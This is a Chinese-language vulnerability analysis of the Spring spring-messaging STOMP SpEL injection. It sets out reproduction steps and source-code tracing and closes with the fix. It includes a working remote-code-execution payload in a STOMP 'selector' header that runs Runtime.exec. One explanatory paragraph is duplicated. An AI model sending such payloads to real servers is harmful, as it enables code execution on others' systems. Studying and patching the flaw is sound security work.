Spring框架中通过spring-messaging模块来实现STOMP(Simple Text-Orientated Messaging Protocol),STOMP是一种封装WebSocket的简单消息协议。攻击者可以通过建立WebSocket连接并发送一条消息造成远程代码执行
STOMP(Simple Text-Orientated Messaging Protocol) 面向消息的简单文本协议,用于服务器在客户端之间进行异步消息传递。STOMP帧由命令,一个或多个头信息、一个空行及负载(文本或字节)所组成
客户端可以使用SEND命令来发送消息以及描述消息的内容,用SUBSCRIBE命令来订阅消息以及由谁来接收消息。这样就可以建立一个发布订阅系统,消息可以从客户端发送到服务器进行操作,服务器也可以推送消息到客户端
客户端可以使用SEND命令来发送消息以及描述消息的内容,用SUBSCRIBE命令来订阅消息以及由谁来接收消息。这样就可以建立一个发布订阅系统,消息可以从客户端发送到服务器进行操作,服务器也可以推送消息到客户端
通讯过程:
要从浏览器连接,对于SockJS,可以使用sockjs-client。对于STOMP来说,许多应用程序都使用了jmesnil/stomp-websocket库(也称为STOMP.js),它是功能完备的,已经在生产中使用了多年,但不再被维护。目前jsteunou/webstom-client是该库最积极维护和发展的继承者
下载官方教程:https://github.com/spring-guides/gs-messaging-stomp-websocket
需要使用到旧版本,clone后checkout到老分支:git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3
使用其中的complete项目,Gradle+SpringBoot项目,较容易搭建
修改resources/static/app.js文件(注意:这里修改app.js代码不是修改源码,appjs是返回给用户交给浏览器执行的,用户可以随意修改。之所以在代码中修改,是为了方便做复现)
xxxxxxxxxxfunction connect() { var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"}; var socket = new SockJS('/gs-guide-websocket'); stompClient = Stomp.over(socket); stompClient.connect({}, function (frame) { setConnected(true); console.log('Connected: ' + frame); stompClient.subscribe('/topic/greetings', function (greeting) { showGreeting(JSON.parse(greeting.body).content); },header); });}访问localhost:8080后点击connect,然后随便发一个消息即可弹出计算器

首先分析js中定义的header:selector是什么,找下STOMP协议的细节。当发送订阅命令时,Stomp支持选择器标头,该选择器充当基于内容路由的筛选器

点击connect后,js发送建立订阅的stomp请求,代码获取这个header的地方:org\springframework\messaging\simp\broker\DefaultSubscriptionRegistry.java
xxxxxxxxxxprotected void addSubscriptionInternal( String sessionId, String subsId, String destination, Message<?> message) {
Expression expression = null; MessageHeaders headers = message.getHeaders(); String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), headers); if (selector != null) { try { expression = this.expressionParser.parseExpression(selector); this.selectorHeaderInUse = true; if (logger.isTraceEnabled()) { logger.trace("Subscription selector: [" + selector + "]"); } } catch (Throwable ex) { if (logger.isDebugEnabled()) { logger.debug("Failed to parse selector: " + selector, ex); } } } this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression); this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);}下断点分析,selector是payload。另外这里构造了一个expression,看到这个敏感词汇,大概率洞来了。这里只是初始化了expression,并没有getValue或setValue,所以RCE触发不在这里

当我们点击Send发送后,会调用org\springframework\messaging\simp\broker\SimpleBrokerMessageHandler.java
xxxxxxxxxxprotected void sendMessageToSubscribers( String destination, Message<?> message) { MultiValueMap<String,String> subscriptions = this.subscriptionRegistry.findSubscriptions(message); if (!subscriptions.isEmpty() && logger.isDebugEnabled()) { logger.debug("Broadcasting to " + subscriptions.size() + " sessions."); } ......}断点调试跟入this.subscriptionRegistry.findSubscriptions 至org/springframework/messaging/simp/broker/AbstractSubscriptionRegistry.java
xxxxxxxxxxpublic final MultiValueMap<String, String> findSubscriptions(Message<?> message) { MessageHeaders headers = message.getHeaders();
SimpMessageType type = SimpMessageHeaderAccessor.getMessageType(headers); if (!SimpMessageType.MESSAGE.equals(type)) { throw new IllegalArgumentException("Unexpected message type: " + type); }
String destination = SimpMessageHeaderAccessor.getDestination(headers); if (destination == null) { if (logger.isErrorEnabled()) { logger.error("No destination in " + message); } return EMPTY_MAP; }
return findSubscriptionsInternal(destination, message);}protected MultiValueMap<String, String> findSubscriptionsInternal(String destination, Message<?> message) { MultiValueMap<String, String> result = this.destinationCache.getSubscriptions(destination, message); return filterSubscriptions(result, message);}层层跟入到filterSubscriptions,需要返回给用户的message从sendMessageToSubscribers传入到filterSubscriptions,这里的allMatches是findSubscriptionsInternal中获取到的所有订阅信息,其中包含建立连接时候的selector,也就是说sub包含着payload
xxxxxxxxxxprivate MultiValueMap<String, String> filterSubscriptions( MultiValueMap<String, String> allMatches, Message<?> message) { ...... for (String sessionId : allMatches.keySet()) { for (String subId : allMatches.get(sessionId)) { SessionSubscriptionInfo info = this.subscriptionRegistry.getSubscriptions(sessionId); ...... Subscription sub = info.getSubscription(subId); ...... Expression expression = sub.getSelectorExpression(); ...... if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) { result.add(sessionId, subId); } ...... }
获取到的expression正是connect时构造的expression,在后面的expression.getValue处成功触发,到此分析结束,又一个SPEL的RCE
这个漏洞官方似乎没有修复成功,造成了CVE-2018-1275这个新漏洞,最终的修复方案如下,使用了SimpleEvaluationContext代替StandardEvaluationContext,SimpleEvaluationContext仅支持SPEL的部分功能,实现了防御